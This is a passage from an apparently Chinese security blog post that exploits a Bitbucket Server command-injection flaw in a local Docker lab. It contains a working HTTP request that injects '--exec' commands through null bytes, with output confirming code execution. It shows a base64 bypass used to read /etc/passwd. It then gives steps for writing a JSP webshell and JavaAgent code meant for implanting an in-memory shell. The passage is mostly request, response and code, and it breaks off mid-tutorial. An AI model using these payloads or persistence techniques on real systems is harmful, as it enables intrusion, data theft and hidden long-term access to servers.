nowrap;">docker pull atlassian/bitbucket-server:7.19.4-jdk11</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动该环境:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name=&#34;bitbucket&#34; -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.19-jdk11</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">测试该漏洞需要目标存在public项目，需要获取到项目名和repo名。通过链接枚举公开项目:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">example.com/repos?visibility=public</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">测试漏洞：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&amp;path=bighax&amp;prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1<br/>Host: 127.0.0.1:7990<br/>Cache-Control: max-age=0<br/>Upgrade-Insecure-Requests: 1<br/>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36<br/>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br/>Accept-Encoding: gzip, deflate<br/>Accept-Language: en-US,en;q=0.9<br/>Content-Length: 2</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">成功回显结果:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">HTTP/1.1 500 <br/>X-AREQUESTID: @1J1EWV1x490x54736x0<br/>X-ASEN: SEN-L18735288<br/>Cache-Control: no-cache, no-transform<br/>Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding<br/>Content-Type: application/json;charset=UTF-8<br/>Date: Tue, 04 Oct 2022 08:10:56 GMT<br/>Connection: close<br/>Content-Length: 380<br/>{&#34;errors&#34;:[{&#34;context&#34;:null,&#34;message&#34;:&#34;&#39;/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax&#39; exited with code 128 saying: `id` &#39;/&#39;: 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly&#34;,&#34;exceptionName&#34;:&#34;com.atlassian.bitbucket.scm.CommandFailedException&#34;}]}</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">绕过回显限制</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">执行命令的回显存在空格截断的问题，使用“|base64 -w 0”将命令base64编码后输出一行执行可以绕过其限制。</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">rest/api/latest/projects/cfx/repos/lord/archive?format=zip&amp;path=bighax&amp;prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%20%7cbase64%20-w%200%60%00--prefix=/!</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">尝试写入webshell</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">linux命令执行条件下写入webshell相信大家都烂熟于心：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">echo xxx | base64 -d &gt; 1.jsp</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">java应用一般有许多复杂的解析规则，一般jsp可能无法解析。寻找可以被解析的jsp目录最暴力的方式就是搜索应用目录的jsp文件</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">find / -name .jsp </code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">没有的话我们一般尝试寻找静态资源目录，放jsp看是否能够解析。很可惜这个项目对访问的url有限制。且利用成功后为bitbuctet权限，无法修改配置。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.327688399661304" title="null" data-w="1181" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e91930b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HJhNGgDL2P40NTV2GuhL0kC4TR9Clh6FdetylJIInCiaUXDyEHlib4IUw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">植入内存shell</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">JavaAgent</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们在多数反序列化和webshell利用场景中，都是位于当前web上下文中执行代码。增加一个webFileter/webHanlder等操作通过动态执行代码的方式非常自然。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如何通过命令执行修改已经启动的程序是一个问题，java给出的解决方案是使用JavaAgent，对应的命令行参数为-javaagent:agent.jar。如下图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7422303473491774" title="null" data-w="1094" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9303cfd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HfcVfIWY9q1b1KmmOqB67DW2Lwrm6bjGtudH6JicyEYrFS8d2fMrSw5g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">简单来说，这种方式提供给程序员操作正在运行中程序jvm虚拟机的可能。我们可以在另一个程序操作已有的jvm虚拟机。这部分代码比较简单，如下图：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6847918436703483" title="null" data-w="1177" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b1c8319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HytxyytsGN0aJfQVXicSKcteoVVvoAiajEo5Z1vP4eget7gpKNvU8yfUg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">1处获取到所有的jvm虚拟机，并找到tomcat对应的虚拟机，2处装载JavaAgent，这里的JavaAgent是一个文件。JavaAgent加载的文件需要包含agentmain或premain等函数：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public static void agentmain(String agentArgs, Instrumentation inst) {<br/>...<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在agentmain中实现我们自己的代码，实现了在另一个jvm中执行任意代码的效果。后续通过反射等手段获取到web上下文进行内存马植入即可。主要参考动态注册的内存马，包括Servlet型、Listener型及Filter型的内存马。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样我们需要通过大量的反射实现这个效果，除此之外我们有更简单的方法。我们可以重点关注agentmain函数的第二个参数Instrumentation类型，这个类包含许多方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3808955223880597" title="null" data-w="1675" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=45316499&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HFq8hFxag0tAz25TRJaibzjpJ7LGZPyfGPd7hnZVdP7mOt6W9h0G9OvQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中我们最关注的是addTransformer和retransformClasses方法，addTransformer参数为ClassFileTransformer类型。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">addTransformer该函数可以将一个ClassFileTransformer类的实例的transform函数返回的字节数组转换成类定义。也就是说我们定义类可以通过字节数组直接实现，而不需要进行传统定义。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">配合retransformClasses可以改变正则运行的jvm的class。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">JavaAgent例子</h3><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">第一步</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">定义一个Peoples类，当中有一个say方法，输出hello</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">package comm;<br/> <br/>public class Peoples {<br/>    public void say(){<br/>        System.out.println(&#34;hello&#34;);<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">定义一个程序，每5s调用一次say</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">package comm;<br/> <br/>public class Main {<br/> <br/>    public static void main(String[] args) throws Exception{<br/>        while (true){<br/>            new Peoples().say();<br/>            Thread.sleep(5000);<br/>        }<br/>    }<br/>}<br/></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们接下来要将这个程序运行起来，通过JavaAgent修改正在运行程序的输出。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">第二步</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">新建一个项目，作为我们要载入的jar包，首先定义transformer：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import java.io.File;<br/>import java.io.FileInputStream;<br/>import java.io.IOException;<br/>import java.io.InputStream;<br/>import java.lang.instrument.ClassFileTransformer;<br/>import java.security.ProtectionDomain;<br/>import java.lang.instrument.IllegalClassFormatException;<br/> <br/>public class TransformerTest implements ClassFileTransformer {<br/>    @Override<br/>    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {<br/> <br/>        if (!className.equalsIgnoreCase(&#34;Peoples&#34;)) {<br/>            return null;<br/>        }<br/>        return getBytesFromFile(&#34;E:\\AgentTest\\target\\classes\\Peoples.class&#34;);<br/> <br/>    }<br/> <br/>    public static byte[] getBytesFromFile(String fileName) {<br/>        File file = new File(fileName);<br/>        try  {<br/>            InputStream is = new FileInputStream(file);<br/>            long length = file.length();<br/>            byte[] bytes = new byte[(int) length];<br/> <br/>            // Read in the bytes<br/>            int offset = 0;<br/>            int numRead = 0;<br/>            while (offset &lt; bytes.length<br/>                    &amp;&amp; (numRead = is.read(bytes, offset, bytes.length - offset)) &gt;= 0) {<br/>                offset += numRead;<br/>            }<br/> <br/>            if (offset &lt; bytes.length) {<br/>                throw new IOException(&#34;Could not completely read file &#34;<br/>                        + file.getName());<br/>            }<br/>            is.close();<br/>            return bytes;<br/>        } catch (Exception e) {<br/>            System.out.println(&#34;error occurs in _ClassTransformer!&#34;<br/>                    + e.getClass().getName());<br/>            return null;<br/>        }<br/> <br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">定义agentmain函数：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import java.lang.instrument.ClassDefinition;<br/>import java.lang.instrument.Instrumentation;<br/>import java.lang.instrument.UnmodifiableClassException;<br/> <br/>public class AgentTest {<br/> <br/>    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {<br/>        inst.addTransformer(new TransformerTest(), true);<br/>        System.out.println(&#34;add class success&#34;);<br/>        inst.retransformClasses(Peoples.class);<br/>        System.out.println(&#34;retransform success&#34;);<br/>    }<br/>}<br/></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">修改MANIFEST：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Manifest-Version: 1.0<br/>Agent-Class: AgentTest<br/>Can-Redefine-Classes: true<br/>Can-Retransform-Classes: 